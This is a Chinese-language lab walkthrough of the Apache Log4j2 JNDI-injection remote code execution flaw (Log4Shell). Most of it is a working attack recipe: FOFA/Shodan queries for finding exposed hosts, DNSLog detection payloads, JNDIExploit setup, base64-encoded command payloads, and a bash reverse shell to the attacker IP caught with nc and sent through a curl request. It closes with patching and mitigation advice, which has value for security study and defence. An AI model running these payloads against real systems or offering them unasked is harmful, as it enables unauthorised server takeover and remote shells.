Apache Log4j2 RCE远程代码执行漏洞
Apache Log4j2 RCE远程代码执行漏洞
漏洞介绍
1、2021年12月10日,国家信息安全漏洞共享平台(CNVD)收录了Apache Log4j2 远程代码执行漏洞(CNVD-2021-95914)。攻击者利用该漏洞,可在未授权的情况下远程执行代码。目前,漏洞利用细节已公开,Apache官方已发布补丁修复该漏洞。
Apache Log4j2是一个基于Java的日志记录组件,该日志组件被广泛应用于业务系统开发,用以记录程序输入输出日志信息,得益于其突出于其他日志的优势:异步日志实现。是最受欢迎的于开发时的日志组件。
2021年11月24日,阿里云安全团队向Apache官方报告了Apache Log4j2 远程代码执行漏洞。由于Log4j2 组件在处理程序日志记录时存在JNDI 注入缺陷,未经授权的攻击者利用该漏洞,可向目标服务器发送精心构造的恶意数据,触发Log4j2 组件解析缺陷,实现目标服务器的任意代码执行,获得目标服务器权限。
漏洞原理
1、Log4j2日志
2、log4j2 提供了 lookups
不过log4j2并不满足上面的功能,他们提供了一种叫lookups
的功能log4j2的lookups说明。
hello ${java:os}
和hello ${java:vm}
,而是当前服务的操作系统信息和虚拟机信息。其实如果仅仅是这样,那也算不上什么漏洞,只能说功能强大而已。
3、还支持JNDI Lookup、RMI远程调用
可以通过JNDI引入目录资源,进行加载class执行代码。也可以通过RMI远程调用资源。
漏洞影响
影响版本:Apache Log4j2.x <= 2.14.1
已知受影响:srping-boot-strater-log4j2、Apache Solr、Apache Flink、Apache Druid、Apache Struts2...
搜索漏洞语法
fofa搜索语法:
app="Log4j2"
shodan搜索语法:
Server: Log4j2
搭建漏洞docker环境
目标:centos7
IP:192.168.110.133
攻击机:kali linux
IP:192.168.110.141
下载docker漏洞镜像文件
sudo docker pull vulfocus/log4j2-rce-2021-12-09:latest
sudo docker run -itd -p 8080:8080 vulfocus/log4j2-rce-2021-12-09:latest
进入shell命令
sudo docker exec -it 5500411a2fac(容器id)
Payload配合DNSLog检测
先去DNSLog生成域名:zigsvm.dnslog.cn
JS POST POC请求
fetch(new Request('url',{
method:'POST',
headers: {'Content-Type': 'application/x-www-form-urlencoded'},
body:"payload=${jndi:ldap://zigsvm.dnslog.cn./exp}"
})).then((resp)=>{console.log(resp)})
构建:
fetch(new Request('http://192.168.110.133:8080/hello',{
method:'POST',
headers: {'Content-Type': 'application/x-www-form-urlencoded'},
body:"payload=${jndi:ldap://zigsvm.dnslog.cn./exp}"
})).then((resp)=>{console.log(resp)})
响应200,说明存在该漏洞。再看看DNSLog的请求
HackBar构建POC
目标:http://192.168.110.133:8080/hello
POST payload:
payload=${jndi:ldap://zigsvm.dnslog.cn./exp}
JNDIEXPloit工具Getshell
基础环境
kali linux:192.168.110.141
Centos7:192.168.110.133
wget https://github.com/Mr-xn/JNDIExploit-1/releases/download/v1.2/JNDIExploit.v1.2.zip
unzip JNDIExploit.v1.2.zip
java -jar JNDIExploit-1.2-SNAPSHOT.jar -u
攻击机安装JAVA环境
(这里是Centos7目标机,可以不安。我这里是在Kali linux安装的)
yum install -y java-1.8*
java -jar JNDIExploit-1.2-SNAPSHOT.jar -u
ldap://null:1389/TomcatBypass/Command/Base64/[base64_encoded_cmd]
配置监听
java -jar JNDIExploit-1.2-SNAPSHOT.jar -i 192.168.110.141 -p 9090
指定监听9090端口
开始监听LDAP Server服务
再加上一个HTTP server服务
命令执行输出文件
测试payload语句
修整下payload,特殊字符需要通过url编码,尤其像+号需要通过双重URL编码,不然就会被当作连接符。
初始payload:
ZWNobyAiMTIzOTg3IiA+IC90bXAvdGVzdC50eHQ=
url编码后payload:
ZWNobyAiMTIzOTg3IiA%252BIC90bXAvdGVzdC50eHQ%3D
构造payload
${jndi:ldap://192.168.110.141:1389/TomcatBypass/Command/Base64/ZWNobyAiMTIzOTg3IiA%252BIC90bXAvdGVzdC50eHQ%3D}
抓包获取请求包:
提交一个js post请求数据包,然后用burpsuite抓取
发送到Repeater模块去测试payload:
请求成功200,看看监听
payload正常。
接下来去docker容器看看
没有文件,直接反弹shell看看。
反弹shell
payload:
bash -i >& /dev/tcp/192.168.110.141/9797 0>&1
bash64编码:
YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjExMC4xNDEvOTc5NyAwPiYx
url编码:
YmFzaCAtaSA%252BJiAvZGV2L3RjcC8xOTIuMTY4LjExMC4xNDEvOTc5NyAwPiYx
kali linux设置好监听:
nc -lvvp 9797
抓包重新发送看看:
shell弹过来了:
curl命令请求
curl -X POST --data "payload=${jndi:ldap://192.168.110.141:1389/TomcatBypass/Command/Base64/YmFzaCAtaSA%252BJiAvZGV2L3RjcC8xOTIuMTY4LjExMC4xNDEvOTc5NyAwPiYx}" http://192.168.110.133:8080/hello
BurpSuite被动扫描插件Log4j2Scan
https://github.com/pochubs/Log4j2Scan-1.git
自己编译下
mvn package
加入到java插件中
配置好一些API
然后看Dashoard这个模块即可
修复建议
-
升级Apache Log4j2所有相关应用到最新的 log4j-2.15.0-rc2 版本,地址:https://github.com/apache/logging-log4j2/releases/tag/log4j-2.15.0-rc2
-
升级已知受影响的应用及组件,如srping-boot-strater-log4j2/Apache Solr/Apache Flink/Apache Druid
-
jvm参数 -Dlog4j2.formatMsgNoLookups=true
-
log4j2.formatMsgNoLookups=True
-
系统环境变量 FORMAT_MESSAGES_PATTERN_DISABLE_LOOKUPS 设置为true
-
禁止使用log4j的服务器外连出网
-
使用高版本jdk(如jdk11.0.1、8u191、7u201、6u211或更高版本),因为高版本jdk默认无法利用jndi注入,可在一定程度上限制JNDI等漏洞利用方式。